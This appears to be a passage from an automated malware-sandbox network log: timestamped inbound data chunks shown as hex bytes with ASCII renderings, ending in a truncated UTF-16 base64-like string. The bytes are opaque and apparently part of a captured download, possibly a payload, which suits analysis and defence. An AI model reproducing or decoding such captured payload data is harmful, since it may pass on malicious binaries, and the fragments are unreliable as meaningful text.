2022-01-14 03:59:13 UTC	154	IN	Data Raw: 8c d3 c7 84 4d a5 49 c4 2d 8b 4f cc 3e 6b ac 87 25 b4 51 ff 69 63 2e 43 61 f4 3c 2d d4 a4 ea 4f 5c 2f ab 92 ca 11 31 40 32 5b 32 96 07 ef bd 22 8a d3 84 df 9d e1 75 6e d4 ed 18 e9 a1 a6 29 77 5d 47 6f 66 48 13 6a ac a5 3a 10 ba be d7 c3 13 f0 bb 2a 76 8e 27 98 a2 7b 8e a7 1a 9c 2b 72 b5 50 46 af c8 78 ca 18 81 c3 30 94 f2 39 27 2d e2 0b 63 a1 4b 30 a7 11 40 04 18 41 fe b0 79 7f 66 ea c3 f9 1c af c5 b6 23 ab 13 d2 b1 5f 04 cb 2d 8e d7 fe b7 87 a2 ea 4d 29 a7 b6 c0 00 22 2d b5 42 ed 55 47 4f 95 a5 d3 2b a6 8b 5d b7 91 76 94 f4 8d 38 95 55 0a 7b 23 9e b2 2d 31 be b2 6c f0 de 7c 59 b4 ff 78 60 4b 71 e1 5f 3e 0c 75 cb fe c1 9f 20 27 78 44 4c b1 96 a2 d4 df 31 54 5b 65 fb 15 ff 26 04 c9 06 71 81 64 60 24 9a 64 67 a9 cc 88 5f b1 d2 05 3c 0a 14 f8 a9 06 f3 64 64 Data Ascii: MI-O>k%Qic.Ca<-O\/1@2[2"un)w]GofHj:*v'{+rPFx09'-cK0@Ayf#_-M)"-BUGO+]v8U{#-1l\|Yx`Kq_>u 'xDL1T[e&qd`$dg_<dd
2022-01-14 03:59:13 UTC	159	IN	Data Raw: 69 1b 4e 75 1c a9 9e c6 03 7c 1e d5 c4 b6 48 f4 37 96 f7 ad 15 2a a7 1b 6a 7e 4f b7 12 11 3d a8 c2 27 d8 ab e2 98 86 62 8d 44 dd b8 16 b8 cc 41 ba b4 5e 8f 25 86 0f e3 be 80 11 e8 f6 ca 14 06 da 5c f3 01 20 31 0a 6c ba 6c e8 f4 32 55 54 ed f9 c4 97 7d 8a 01 65 cd 66 51 1e c4 68 f3 8b 48 8a bb 6e 14 47 86 e4 25 dc 5d dc 7b ed 2e 5e 74 d1 17 9e 36 29 cb a3 cc 1f 8d 49 92 ee 47 d2 3d b3 ca 3f 0e b5 d3 bb 3d 6a 52 2d 23 97 22 67 1b d8 22 1a 12 5e 3e bb 45 06 42 3e 69 dc ee 7c 6e 59 e7 bb 95 c9 97 d6 78 6a 33 3f 5d d0 4d ee f1 f0 64 d1 07 82 98 15 95 6a 81 c2 69 3b ef 12 a1 27 0b 4b d2 cd 58 95 8f 0f 5d 9c fb 66 19 ce 82 2c 65 df b6 4f 10 be ad 6c 75 d2 4a 63 95 a8 6e 43 ce 9c 4a 3d e7 b7 b6 35 d2 49 54 54 e8 93 e4 83 e3 69 d4 00 51 ee c5 63 10 f7 37 94 18 2d Data Ascii: iNu\|H7*j~O='bDA^%\ 1ll2UT}efQhHnG%]{.^t6)IG=?=jR-#"g"^>EB>i\|nYxj3?]Mdji;'KX]f,eOluJcnCJ=5ITTiQc7-
2022-01-14 03:59:13 UTC	162	IN	Data Raw: 46 66 57 be ea af a6 12 21 0a 44 bf ee b1 4d a1 50 c7 da c7 1b 5e 5f 6d 4b 1d e9 93 d7 06 ec 23 6b 71 91 69 fc 00 5b 61 68 fb cb d5 cd 25 3f 64 4a 7b d1 68 35 59 fe ae fd 34 3e 73 c1 2f 9c 9d 8d 5d 64 cc 69 67 40 c1 54 10 3f c7 6e a0 b9 c7 75 5e 50 08 9e 17 ce 78 8c a3 ff a2 40 c9 10 57 75 a8 ff f1 d8 f6 c0 a6 d3 6a e6 68 8c b3 73 96 76 b0 f4 a5 61 34 1c c9 ef 3e a1 2c 00 48 e2 53 a3 7d 91 f5 00 17 28 a5 0e 32 78 9a 9a 5c df 10 8b 79 65 4d 04 45 aa 61 ec ef 2e 80 b6 80 10 88 cc f9 da a0 6e 05 52 13 87 90 1d c0 5d 99 5f e6 28 4e 04 1d 62 08 9d 4f a5 42 87 2c f0 47 3d ef 95 75 97 07 2c 9d 5d 52 8e ae 8e b4 61 4c 74 bb 98 9b 8e b3 ac a9 79 f1 75 30 be 83 16 1c 68 c8 19 8e 80 93 25 7b b9 ef 01 7d 9e d0 bb 8c 3f c5 d6 fc b9 cf d9 52 d4 fb 0c 1f d7 32 61 98 fa Data Ascii: FfW!DMP^_mK#kqi[ah%?dJ{h5Y4>s/]dig@T?nu^Px@Wujhsva4>,HS}(2x\yeMEa.nR]_(NbOB,G=u,]RaLtyu0h%{}?R2a
2022-01-14 03:59:13 UTC	166	IN	Data Raw: d2 48 02 94 a8 47 40 15 5d ea 81 43 c9 5d 61 7d 05 15 95 31 cb 91 15 80 14 ba 30 f5 93 02 54 88 9b b0 0b 8c 76 4c 95 a5 4d 01 26 09 f1 e1 08 d6 7b 60 19 f6 0e 2e 4e f6 ea 2d 4f a7 d2 4b 35 b3 77 d3 76 ea 04 30 57 ce 76 e0 26 23 a3 f9 73 89 d7 d0 71 85 88 72 4e 63 2a 82 33 55 9c 12 1c 5a f5 0c 19 5d 9b df 89 97 00 3f b7 ce 60 9c c9 cc e1 f6 e0 8f 73 50 e9 2b b6 51 98 39 d6 64 ea 03 ce 4e 3f 62 eb 60 60 2a e2 f2 17 d7 f2 7a 93 28 ee c0 6c a6 8f ae 9d db 3d 68 77 1c d3 2f 56 2b 08 e9 a8 81 34 9a df 02 e4 e5 69 30 e5 7e 78 c3 2a ed 71 2f b0 a4 24 b1 f7 12 d1 39 fb 7b 06 c1 f5 3f 3a 2d f8 5e 0d a0 6d 81 da 09 f4 3a 35 dc b6 4b cd ed 55 f2 e3 18 1d 92 e9 4e ba 1f 53 1a 7a 49 4a ad fb 59 ab 73 84 f8 1e d8 7d ce 0f 0b a7 3b af 91 aa e8 7f b2 b7 90 11 1c 12 26 b8 Data Ascii: HG@]C]a}10TvLM&{`.N-OK5wv0Wv&#sqrNc3UZ]?`sP+Q9dN?b``z(l=hw/V+4i0~x*q/$9{?:-^m:5KUNSzIJYs};&
2022-01-14 03:59:13 UTC	170	IN	Data Raw: 0b db 9e ad 09 7b 84 e4 5f 27 56 84 f7 b2 ca 86 24 4b e2 2d 9a 9f 63 bd 2f b1 ef c7 00 f3 8e 2c d7 7f 01 9c 57 d2 43 9b 27 ad 8b 63 15 75 88 5a d7 5c 82 84 f2 d5 f2 60 7a 54 87 8e 1b bf 6a 0d 49 01 90 14 23 b5 ef 65 26 c9 26 b2 ea b7 56 6b 7b dc 46 b3 0b fe 3b 19 7d 15 e4 fb 2f f8 57 0a 6b 23 06 2e 43 cb f6 35 b2 93 cc 18 4b 95 6d 3c 77 9c e8 6b 75 81 91 bf 26 47 19 43 8b a4 ee cc fa db 60 51 3f c2 89 03 17 4c d6 e3 33 16 5f 54 96 6d bf e7 c4 e1 82 fe 44 7c 77 7f 20 9c 00 2b 31 18 d2 03 d7 e7 2e 18 08 33 8d ac 92 f4 87 bd d9 ae 37 3b 5c 2b ff 6d b3 ba 58 f6 23 8b 2c 3f bc 6d 23 94 f0 0d b6 3b e4 70 c7 61 4f dc 1f c8 a8 42 6f 70 bc 69 1b f7 6f 91 f4 7a 9d 67 66 98 a4 08 65 9b bc c4 d1 93 b5 b0 76 f0 b2 d7 12 b2 cc 50 1c 80 e6 7f 6b cd 61 52 08 58 c2 3d fb Data Ascii: {_'V$K-c/,WC'cuZ\`zTjI#e&&Vk{F;}/Wk#.C5Km<wku&GC`Q?L3_TmD\|w +1.37;\+mX#,?m#;paOBopiozgfevPkaRX=
2022-01-14 03:59:13 UTC	174	IN	Data Raw: 24 e6 91 d1 07 46 1f 30 50 e6 5b e9 c6 c0 df 7e cf 3d 21 26 8c 40 c0 e7 cf 4f 3d 4f bb d3 f2 c3 d9 47 6c 59 4f 34 84 78 b0 37 36 8f 90 63 6a 23 13 3c ae 73 32 45 7c ae eb dd 60 9f d3 15 81 d3 32 ec b2 cc 32 a7 4a db 7c d4 91 2b 02 a6 e5 77 b8 6e 36 08 14 79 a3 17 d4 12 19 ee d3 6f 17 c8 8f 17 d7 1b e0 65 10 3d e9 3f 00 d0 1f 17 2b 9c 17 78 27 62 88 1e a5 6e 89 60 94 b4 ac c0 8b 8e c2 81 3d 86 6b cb c0 79 b6 cd 2e ad 4e d9 a0 4a ee 64 24 73 b6 be 36 c1 2b 1b 47 3d 21 09 4b c6 3a 17 42 a6 48 03 16 47 04 0f 08 0b 6e e5 9a 45 e7 3f a3 92 6a f2 79 55 bb 26 5c 2b 68 a4 46 d7 32 39 96 8c 75 29 fc a2 34 9b 6b d6 c3 d2 2a 4a e5 d3 54 be 4d 6a 09 e0 c1 91 09 9b bb d6 fc 38 82 38 d3 02 9d 27 3a 76 b7 2c ec 21 72 b1 fb f9 bf 55 fc eb 31 61 a9 6f 15 a2 8f ff 5b c0 d2 Data Ascii: $F0P[~=!&@O=OGlYO4x76cj#<s2E\|`22J\|+wn6yoe=?+x'bn`=ky.NJd$s6+G=!K:BHGnE?jyU&\+hF29u)4k*JTMj88':v,!rU1ao[
2022-01-14 03:59:13 UTC	178	IN	Data Raw: c2 cb 5a 6f 81 df 21 37 09 18 b3 53 f6 d6 80 f7 20 a4 d3 7a 45 32 46 70 43 7c 01 9b 1f 82 9a 4e 33 48 94 57 d4 28 6f 9d 69 04 9d cc 5b 25 1b bc ed ca 04 4e 7a 05 46 72 f4 9e d8 be 22 c7 3d 0a 56 ec 33 02 7e bb 4e 71 c4 77 0a 32 db 6f 50 71 c6 e1 da e7 76 8e f8 73 f6 62 70 e0 a0 95 85 47 55 8b ab ad 55 9c 03 d7 88 3f fa c9 ee d3 f3 23 70 1e 26 69 04 d7 23 a2 e6 2a 61 d3 bf 26 1a 33 66 84 78 01 dd d4 a8 32 b8 5b 31 5f e7 02 e6 a5 46 ed fe 36 27 7e e3 5a e6 cf 3d e6 c0 5a 31 f5 fc c1 8c 4c 6e 0e 28 b7 3c cb de 91 cf f4 79 1a 38 42 95 91 3e f6 c2 10 4c e3 19 c2 c9 e7 25 0f 8c c5 61 43 c2 d9 02 da 5e 77 7b d7 c3 51 b3 ab 2d 49 3a a1 6d 19 1c b8 4e 26 73 19 1f 52 37 a2 64 91 94 b9 49 6e e7 e4 0f dc 71 42 de 7d b2 c6 5f f4 a9 c1 e7 08 61 11 fc 13 8e dc 50 74 92 Data Ascii: Zo!7S zE2FpC\|N3HW(oi[%NzFr"=V3~Nqw2oPqvsbpGUU?#p&i#*a&3fx2[1_F6'~Z=Z1Ln(<y8B>L%aC^w{Q-I:mN&sR7dInqB}_aPt
2022-01-14 03:59:13 UTC	182	IN	Data Raw: 8b 6f 93 89 28 5e 56 c6 b2 6c 84 43 56 34 1b d9 88 4e 2e 9c 48 1b e2 35 15 b1 45 57 b0 27 f2 36 0b 0e 34 d2 32 ea 63 f9 5d 69 ba c8 6c 5f 43 cb f9 37 eb 41 c8 ad 8d 63 40 87 52 f1 e6 5f d0 8a fe 65 d3 ee 46 e1 b8 58 c4 9a d1 7e a7 18 fe 38 1d 7a cd ba eb 38 4e 84 2a 07 46 bc 12 80 58 08 f3 63 bd ea 23 7d e8 02 c4 2d aa fc bd 08 96 32 02 7b 0f 34 47 25 e0 7d bd f0 33 d8 79 06 07 33 3e ab d2 7a 87 bb 85 9e d2 cf a9 90 1c d7 9e c0 61 a2 4a f8 f3 95 23 f0 38 94 72 f0 15 9e ee bf d2 b8 6f d2 3e fe 08 1c a7 b8 08 c3 d9 db 12 45 45 cd 2f 77 c6 d4 34 f7 9c ce 23 87 b6 bf 71 fb 16 0f 97 f9 c0 46 dc 89 d5 5c aa 93 36 47 9e 4d 60 02 78 d9 1e 1d 70 20 3c 24 fa 87 19 06 22 9c a5 85 0a ae dc 2c d1 bf ac 84 c2 44 93 37 e3 0a cf 73 93 11 c3 ed d1 a2 4b 8c 32 20 25 cd 70 Data Ascii: o(^VlCV4N.H5EW'642c]il_C7Ac@R_eFX~8z8N*FXc#}-2{4G%}3y3>zaJ#8ro>EE/w4#qF\6GM`xp <$",D7sK2 %p
2022-01-14 03:59:13 UTC	186	IN	Data Raw: 57 eb 31 0a e9 d8 78 65 11 a4 a0 b1 b9 90 28 5f f7 67 05 d4 9b ff 58 ea 9a fe a1 35 8f cb 06 a3 8d 98 9b 49 7a 4d 3c be 03 32 9c 0e 7e c4 b4 a4 bf f7 8f ea 97 43 17 84 ca 6c ea 2b a2 28 93 87 ce 80 72 bc 4a 03 56 ae 3d 52 3a 18 c8 90 ba d7 03 d0 14 94 c2 27 90 bb 2d d7 fe 58 f3 c2 ad 6c f6 fa df 70 6c e6 b9 64 96 37 80 46 b0 c9 32 9d 1b ef 5c 3b bb 62 e7 51 a9 ea 0e 88 64 d4 1a b2 ae 48 a8 14 5b 55 f0 b9 ee ee 34 a0 90 6d ef b9 f3 ba 91 5b cd 83 73 7c 77 69 e0 0d 1a 8a d8 b2 b9 3b 2a 9c 22 33 ac c7 ff 8b d2 1b 73 c2 30 6d 77 dd 32 17 39 b9 a6 50 58 4e 3b b1 df ef 1d 72 ac ff 32 29 0c 51 98 4b 7e 81 25 35 5b fe 68 77 27 e2 30 bd 92 42 30 08 b5 a3 8e 16 68 02 c9 ed ed 79 b3 1b cd f9 a3 86 23 70 39 57 90 63 a4 aa e9 9b 69 11 5f b6 d4 2b 45 bd bd 77 39 e9 4e Data Ascii: W1xe(_gX5IzM<2~Cl+(rJV=R:'-Xlpld7F2\;bQdH[U4m[s\|wi;*"3s0mw29PXN;r2)QK~%5[hw'0B0hy#p9Wci_+Ew9N
2022-01-14 03:59:13 UTC	191	IN	Data Raw: 6c 33 14 8a f8 f3 b9 48 72 f4 3a 92 59 fa 9c 94 a5 0a a3 1a d2 80 f8 20 52 76 e5 37 b3 15 a8 c3 c5 42 72 22 c5 4f 20 28 81 dc 70 eb db 56 6d f5 49 83 af 0b bd 04 20 c9 6c f3 20 eb 42 03 71 26 05 bd 4e ae eb 71 fc 39 9f a5 6b 39 10 55 74 4c b0 12 10 2e a5 ed e8 9b ef d0 56 d1 1e 88 b3 b6 f4 72 3f c1 29 e4 5d 3f 63 3e bc f0 b2 fe 0c 54 9e ca 28 e2 c5 b6 ff bc 7f d6 01 c4 c8 be 31 de 65 ce cb 21 f4 25 49 78 eb 2e b0 b8 fc e8 63 f0 3f 48 6a 8c 72 4a 99 e7 8b 88 6f 16 f3 f4 e1 78 2d 26 77 4e 4a a0 d5 92 a0 ae 21 90 3d 4f 44 9f c3 47 fa 08 29 6c fe f1 fb 86 75 ea 3e b0 07 6f d0 16 eb d4 42 02 19 76 b9 8d e7 60 71 f0 fa cd 1a 05 5e b2 78 9e cd d1 86 42 28 c3 00 25 e0 a1 35 da 3c fd 8e 4a 1b a2 a4 4f 77 86 cb 98 f0 c2 b8 37 d8 db 2e af 07 1a fc 76 5c 5d b7 33 95 Data Ascii: l3Hr:Y Rv7Br"O (pVmI l Bq&Nq9k9UtL.Vr?)]?c>T(1e!%Ix.c?HjrJox-&wNJ!=ODG)lu>oBv`q^xB(%5<JOw7.v\]3
2022-01-14 03:59:13 UTC	194	IN	Data Raw: 4e 31 31 67 04 38 52 00 3f 35 52 5e d3 17 ff 13 15 65 8a c9 3f a2 bf 5e 48 56 26 08 5a 7d f9 86 15 ee 17 8c a7 b4 2c 71 ce 0e 3f 64 6f e0 77 ca ab 6c 06 72 67 09 3f 53 a5 e1 db a0 b5 60 7f 3a 13 74 80 f5 59 08 67 ed 4f 72 18 d8 2e d4 de 3e 1f a8 a2 ce 1e 33 95 15 3f 44 44 33 88 c5 72 8d ad 86 36 f8 7b 3e 92 7b 44 e1 4a 80 51 58 9b bd f1 9e e3 58 47 22 77 8d a7 f9 30 da fa a3 e4 10 58 82 af 5b 56 cc c5 d8 4e 30 f5 fb 41 e2 f9 8b 70 fd 8b 21 da 06 9b 97 c8 4b 40 2f 0f d1 b3 cc 19 04 a3 30 b6 0c 8a cd 3d 70 4d ca a3 d7 29 3a 5a 45 40 ad 53 7a 26 da a7 71 3f 65 7a 75 03 a7 0a ff 45 26 49 02 c7 c4 09 57 e7 97 7f e2 58 4b ba bf d9 c2 d9 df d5 21 04 b2 a6 42 48 1a 13 16 54 99 c4 88 6b 35 42 31 a2 5f 89 e8 8a 46 96 37 59 c1 0c f1 c4 4f d0 33 59 81 df 2a 23 4c df Data Ascii: N11g8R?5R^e?^HV&Z},q?dowlrg?S`:tYgOr.>3?DD3r6{>{DJQXXG"w0X[VN0Ap!K@/0=pM):ZE@Sz&q?ezuE&IWXK!BHTk5B1_F7YO3Y*#L
2022-01-14 03:59:13 UTC	198	IN	Data Raw: 87 9d 8f 8e da 27 07 57 0f 11 61 94 bd 3d 05 8a 39 e5 07 93 3c 26 2e 7b 72 c1 c3 52 f1 fa 0d 6f 2f fa 28 0d 51 86 64 9c a0 e8 29 c7 73 b5 2f 56 bc 6f 0c a4 c0 81 cf 71 3e fd e5 84 18 02 d8 07 42 c1 53 2d 40 84 3e 5a f3 e4 69 07 33 91 2f 39 b7 19 85 df a2 2b dd a0 d3 eb 07 ce b8 0b 5b 8a 21 a1 fe 89 30 4b 88 e7 8e 7a d1 53 2c b1 31 41 c0 64 7e fd c4 f2 8d fd 0d 4d 62 a6 b0 44 cb 92 26 32 95 29 5a 3f e0 58 9c cd 81 10 9c 6c 3e 76 fb 69 e5 54 e1 36 e9 64 c2 07 87 75 07 6f 4f d8 b6 57 d9 5d ec 3e 36 c7 64 b1 74 04 9a 4d 80 ac e8 96 77 f3 27 9b 88 6f cd 2a 8f ed 4a 7f 00 66 88 18 e5 2e 0b 3a d5 bc 41 b6 96 ad c0 4d 6b ac 0e d9 a3 b6 57 3b c0 db e7 77 e6 d1 e2 89 0f 5a ce d8 b9 1d 65 d3 af 04 7c 52 53 9f 4f 3a 72 db 38 25 2a ca 48 4b 5f 1f 6d 31 f1 6a 54 b1 66 Data Ascii: 'Wa=9<&.{rRo/(Qd)s/Voq>BS-@>Zi3/9+[!0KzS,1Ad~MbD&2)Z?Xl>viT6duoOW]>6dtMw'oJf.:AMkW;wZe\|RSO:r8%HK_m1jTf
2022-01-14 03:59:13 UTC	202	IN	Data Raw: 31 ff 68 48 9d 80 25 d9 02 1b ae 8b 3b 6e de 0f 18 af 5b a4 13 82 e5 6f 16 8a 28 8a 84 f7 d1 4e 5d fe 79 83 59 6c a9 d7 44 a3 fa fe 7e ae 03 04 b9 f2 35 90 c2 dd 77 a3 69 bb ca cc 08 48 d5 88 0b e1 7d 13 9d 73 ba 8d f2 65 63 ba 13 17 a0 b0 06 38 e3 b0 7d d1 f6 fe 86 d6 6a 25 31 09 33 4e 04 05 21 df e4 77 c4 01 a7 41 81 40 db 96 96 e4 80 f2 b2 c4 31 5d 3d c1 b1 76 93 f4 09 c2 44 6c e8 8f ce aa a1 6f eb c7 5d 3e 50 75 d7 85 ea 4d 63 64 ef 64 20 1b b4 d4 07 a7 5a 7e ce 54 83 8c 68 52 d5 a4 b5 df 82 e5 6c c6 aa 81 eb 61 f6 24 84 ad 8f 3c 69 9e 1b cd 6e 05 43 3a 08 95 93 39 79 eb 06 9a 66 12 65 b5 3e 97 25 bf 78 aa ac 7c 41 4b d4 20 de 73 db 3c 2f 32 50 c3 36 48 64 00 a0 5d 97 b8 d1 91 af 07 a7 67 ea 2f 22 0e 71 d6 f5 72 c2 c5 68 78 3f b0 86 ec 90 20 b0 b3 f6 Data Ascii: 1hH%;n[o(N]yYlD~5wiH}sec8}j%13N!wA@1]=vDlo]>PuMcdd Z~ThRla$<inC:9yfe>%x\|AK s</2P6Hd]g/"qrhx?
2022-01-14 03:59:13 UTC	206	IN	Data Raw: e0 c9 cd b4 17 66 3c b0 3a 85 fc 54 f2 1a 6c db 4e f2 69 43 ff 7f bd 32 02 aa 11 be 4a d6 ce 71 6f 97 ca a5 8f 2d da 97 80 3c 7f 37 f6 3d 1d 42 44 da 5c 77 2d f9 ae a8 bf 23 b6 1c c6 f7 25 40 1e 95 ac ee 24 15 80 40 76 91 a1 76 1b 48 2c 9b fe f2 34 ad b8 6e cb c3 51 91 88 e9 1e 39 ea 20 e2 9e 7c c3 dc 96 af 93 ce 7d bd 55 86 ae f8 e0 a5 e4 6f 0b d4 6f 7a 32 98 0e 98 b5 eb e9 28 25 fa cb 6b ab 23 6a 59 28 42 d0 87 57 c6 c3 6a eb 30 a1 ff 1c 50 a4 dc da fc 67 d2 e7 64 3a c6 c7 a2 47 7f 78 4a d9 fa 7c fd c1 96 18 98 9a 66 7e ce 86 e4 b5 e8 4c 87 df 96 9a ff 12 5a bb f1 05 73 5e 18 30 94 dc c5 e0 63 c7 c8 02 c7 71 2a f9 e1 2d 53 d7 53 97 d6 bf 92 6b b8 5c 81 ce 5b a6 06 e6 23 0e 91 a8 7e b1 9a 48 94 ac e9 ca a0 e1 55 e3 71 97 db 10 a3 10 12 20 b5 cd 08 94 0f Data Ascii: f<:TlNiC2Jqo-<7=BD\w-#%@$@vvH,4nQ9 \|}Uooz2(%k#jY(BWj0Pgd:GxJ\|f~LZs^0cq*-SSk\[#~HUq
2022-01-14 03:59:13 UTC	210	IN	Data Raw: 84 a1 7f 94 87 ee 95 6b 57 e6 36 41 89 40 8b 02 00 b7 6f b2 67 24 f1 65 96 a3 73 2d 00 cb 10 bf c1 33 d3 01 2c 5a 97 10 fc ad e6 89 d0 01 4c ad 76 6b d1 86 87 8b 38 76 25 be 35 89 1c 68 ac 5d 07 18 87 cb 41 b6 ee c2 32 58 11 f5 06 9c 84 e4 ee 53 23 2f 31 04 67 56 41 34 97 e2 d8 6a 20 4a 90 57 08 d4 29 62 61 ba 3c b0 f1 4c bc 3c f7 2a e1 d5 3a 5d 50 02 01 88 c9 7b 08 db 92 fa 5b ba 84 04 5b 37 e3 33 f7 ef 3c 7f 95 d3 35 8e 47 8e 0b 5e c6 30 ee 81 83 77 c9 e1 e8 94 c1 e3 01 97 93 f6 2b b1 7e c2 5d 4d 6b 4b f0 a5 09 7b 7b ce b6 2c 8b 95 32 83 65 70 b6 f9 23 89 fe be a8 2e 14 31 d0 41 44 41 97 01 46 31 92 5b 0a 83 98 61 b5 ec 96 cd 45 a8 f0 30 49 a9 2c 15 05 05 e9 a6 6a 74 06 b3 34 6f e2 01 ec c3 82 74 77 6c e0 47 bf 7a 9a 67 f1 a2 2d 9a b1 07 f5 b0 0d 45 37 Data Ascii: kW6A@og$es-3,ZLvk8v%5h]A2XS#/1gVA4j JW)ba<L<*:]P{[[73<5G^0w+~]MkK{{,2ep#.1ADAF1[aE0I,jt4otwlGzg-E7
2022-01-14 03:59:13 UTC	214	IN	Data Raw: fd c1 5b 0a a3 e4 53 01 dd 3c 7c a7 f6 d9 a9 b3 72 f2 0c 1c 71 c0 73 06 6b d3 70 9d 66 97 7a 09 96 06 2e f9 6a 5b 39 6a cb 91 b3 fd a9 20 e0 8e 82 27 71 0f 9e 79 38 e2 24 47 cc 9e e0 6a 43 ff 2d ad bb 5f d9 b5 ac 24 10 a9 56 68 ea 41 22 3d 29 e5 83 ab d4 5b 72 bf ca 67 41 f0 1c 4e c3 52 21 79 be 03 b3 e9 74 7a 75 d9 cd e2 73 1e b4 8f fc 1a 17 4e 4e 98 b9 4a a0 ff 89 74 37 56 c8 4d d8 af 29 d3 df 0a ba a6 c9 33 1a 35 32 c3 f6 a5 45 35 f2 4c 62 a2 3a 2a b1 89 ef ae 37 4d 6e 70 a0 b1 9d 6d 76 65 00 36 27 cb 10 fc 8e 00 ff 32 93 4b 9d 10 67 f6 b8 89 56 c7 72 f8 ab 4e 24 f5 56 7c 32 c1 7a 18 60 af 6c 45 74 23 97 e2 6b 9d e8 7b dc 4f ad cc 3c 14 59 ed 9e 57 86 b0 b7 25 bd 4a 11 88 e1 8f 1a f0 e2 4a 96 94 61 7c d3 ee 0d cd 44 d6 0b 21 9c d9 17 33 c9 7d 2b 51 af Data Ascii: [S<\|rqskpfz.j[9j 'qy8$GjC-_$VhA"=)[rgANR!ytzusNNJt7VM)352E5Lb:*7Mnpmve6'2KgVrN$V\|2z`lEt#k{O<YW%JJa\|D!3}+Q
2022-01-14 03:59:13 UTC	226	IN	Data Raw: 65 69 48 46 3b 1c 95 c8 1e c0 fb de 9c 75 2d f8 c7 06 fa b6 86 35 86 7e fe 99 41 dc 40 7a 11 65 b6 2e 05 5f c4 b0 b1 b3 3d 70 9a 5d 44 62 f8 14 a7 c5 07 24 ee 45 75 fe eb e6 d3 a3 6f 6c ff 77 d2 7e 51 af 93 1d 48 0e 57 8c 98 d8 a9 6f b9 00 6e 73 55 bd d1 6c 66 d6 d1 27 1b 95 d8 be e9 07 73 05 f1 45 e2 29 41 5c 41 c9 cc 92 17 63 98 2c 8c d6 8d 26 95 b9 63 e3 20 07 da 9b a2 ce 5d ee f6 a3 71 f7 12 9b ef 1e df 00 ab a7 8c 10 87 4e ca 54 7c 7d 38 22 77 98 09 5c 33 e9 c9 ea 04 71 b3 75 78 4b d8 fd 67 84 52 f4 70 97 77 cb 2b 0f 56 b7 b9 21 85 27 8e 94 d3 7e be 32 a3 4f bd b1 e1 7f 95 a4 56 71 a5 a6 2e a3 bf 3f 90 18 ff 66 d2 d4 71 16 e6 48 32 1c 37 63 5d 5d 12 8b ea fd 98 65 da b8 ad a2 36 71 23 5e b1 2d 2c 56 d1 53 c1 f4 90 04 8b 05 38 7f 1b d0 ae f0 a0 34 b2 Data Ascii: eiHF;u-5~A@ze._=p]Db$Euolw~QHWonsUlf'sE)A\Ac,&c ]qNT\|}8"w\3quxKgRpw+V!'~2OVq.?fqH27c]]e6q#^-,VS84
2022-01-14 03:59:13 UTC	230	IN	Data Raw: 17 22 9e 50 6f de 9c f1 3a f4 18 94 aa 33 5e 1b 36 e8 a5 a7 37 ad b3 e0 db b3 e7 d2 d5 67 1a e5 55 29 5b 5d 46 0d 0a f4 10 6c b5 77 a4 59 01 f6 07 f9 44 e1 c9 7a a8 54 78 7d ad a8 5e db 11 8f 37 2a dd 39 39 35 7a ec f8 60 ae af 42 51 b5 c5 2b 31 d0 8d 64 05 1c a8 36 3c 73 c2 a8 21 30 b6 e5 0e 2a 64 e5 41 1d 0d c1 c2 2c e8 f5 3f e1 78 24 92 c0 8a 19 4e 4b 68 47 23 0f 91 82 23 bf 8f 0e 06 50 ff 2c 33 89 a8 52 5d 97 0a 5e 7d 7b cd f6 f0 e1 df ae 23 08 a2 29 94 23 34 96 76 69 a6 31 f4 cc 9d 88 e0 f3 20 ea 33 d0 af b1 73 be 3e a8 dc 89 62 87 9f d8 f0 1f b2 66 42 47 65 91 0f 76 fc 87 ab d8 99 21 7d d7 26 72 6d d9 7e f0 0c df 46 17 ca 5a 31 45 ef 35 1b 03 5a 08 f3 dc 1c b6 5e b6 ba b0 fa 6e 8e a1 c5 15 bc 37 80 b6 12 37 7e d5 1c f5 db 36 bb bb 54 20 31 43 57 4a Data Ascii: "Po:3^67gU)[]FlwYDzTx}^7995z`BQ+1d6<s!0dA,?x$NKhG##P,3R]^}{#)#4vi1 3s>bfBGev!}&rm~FZ1E5Z^n77~6T 1CWJ
2022-01-14 03:59:13 UTC	246	IN	Data Raw: a8 c8 bb 40 7f 88 af da bb 70 c4 5a 25 e9 06 99 42 80 1f 25 9e 88 d3 4b cb 35 7b 4f 0b 30 c5 bf 42 c0 cc b1 41 33 8e 39 cc 3b 6d 8e 04 49 fc c5 dd 5e 50 35 c2 a5 94 41 3d ff 9d 1b 31 3b 5a e4 6b 5e d5 30 dc 3e 73 d8 54 9f 6f 42 2b 3a 9b 54 4f 47 4c 90 8b 77 bf 3f 49 08 87 7e 86 74 f3 68 23 ba c8 d9 8f c4 d1 6c 11 e2 d1 05 31 9b ed 24 44 4f 38 9c ea 25 de 2a 71 3e c5 ee 0e ee b9 dc db 87 98 8d 85 81 f1 d4 72 93 80 30 1f 3a 5a 09 22 6c 5d 2c 66 89 75 51 f0 b4 42 6e 5e dc 9c c8 0b fd 5a 0b e2 41 1c 5f 1d 50 4f 58 f7 74 09 05 5e f2 6a 84 fc 6d 13 63 0c 16 1f d1 e7 6a d0 e8 de a4 03 6e 62 33 fa 64 14 40 6d fa e9 f8 fa 01 2d b7 a1 cc 30 72 4c e9 e8 22 7c bf b9 bf a0 c0 51 2c 22 fb 3b bb ba 4f 0a 82 18 11 1f 47 3a 3d 84 54 b8 8a 86 85 e4 98 ca 64 85 7b d4 27 bd Data Ascii: @pZ%B%K5{O0BA39;mI^P5A=1;Zk^0>sToB+:TOGLw?I~th#l1$DO8%*q>r0:Z"l],fuQBn^ZA_POXt^jmcjnb3d@m-0rL"\|Q,";OG:=Td{'
2022-01-14 03:59:13 UTC	258	IN	Data Raw: 00 4e 00 48 00 63 00 33 00 64 00 47 00 68 00 43 00 55 00 7a 00 4f 00 5a 00 64 00 4a 00 4a 00 50 00 47 00 66 00 4d 00 67 00 4f 00 69 00 4a 00 6c 00 6c 00 73 00 4d 00 53 00 58 00 4d 00 67 00 31 00 74 00 73 00 66 00 52 00 32 00 6f 00 46 00 6d 00 59 00 76 00 30 00 34 00 43 00 48 00 59 00 55 00 6d 00 67 00 41 00 73 00 74 00 46 00 4e 00 45 00 6e 00 38 00 67 00 50 00 71 00 41 00 4f 00 33 00 2b 00 78 00 32 00 53 00 41 00 64 00 78 00 30 00 4c 00 52 00 51 00 56 00 5a 00 6e 00 6a 00 5a 00 41 00 69 00 50 00 4b 00 46 00 6a 00 47 00 4d 00 52 00 41 00 52 00 4b 00 4f 00 32 00 46 00 79 00 75 00 34 00 59 00 34 00 63 00 36 00 37 00 78 00 50 00 52 00 2b 00 62 00 4c 00 6d 00 67 00 51 00 30 00 37 00 41 00 65 00 49 00 47 00 35 00 65 00 58 00 4d 00 6e 00 41 00 74 00 36 00 34 00 Data 